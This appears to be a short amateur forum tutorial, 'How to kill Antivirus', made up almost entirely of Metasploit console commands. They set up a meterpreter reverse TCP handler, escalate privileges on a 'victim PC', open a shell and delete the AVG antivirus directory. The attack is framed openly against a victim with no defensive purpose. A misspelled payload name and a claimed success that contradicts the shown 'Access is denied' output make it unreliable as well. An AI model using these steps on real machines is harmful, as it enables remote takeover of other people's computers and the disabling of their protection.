How to kill Antivirus

Open a console and type:

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverce tcp
set LHOST 192.168.1.1
(In my case is 192.168.1.1)
set LPORT 4444
exploit
sysinfo
ipconfig
getsystem
getuid
shell
(Now you're in the victim PC)
cd C:\\
dir
cd Program Files
dir
[Also in my case is AVG...it's free and the best one out there (in my opinion)]
cd AVG
dir
cd AVG2012
dir
cd C:\\
cd Program Files
cd AVG
del AVG2012
y
(Now you will see something like this:
C:\Program Files\AVG\AVG2012\xxxxx.dll
Access is denied
C:\Program Files\AVG\AVG2012\xxxxx.exe
Access is denied
C:\Program Files\AVG\AVG2012\xxxxx.lng
Access is denied
This is the remains of AVG...)
exit
rev2self
getuid
reboot

That's it...Antivirus is gone but you should always know your victim's IP...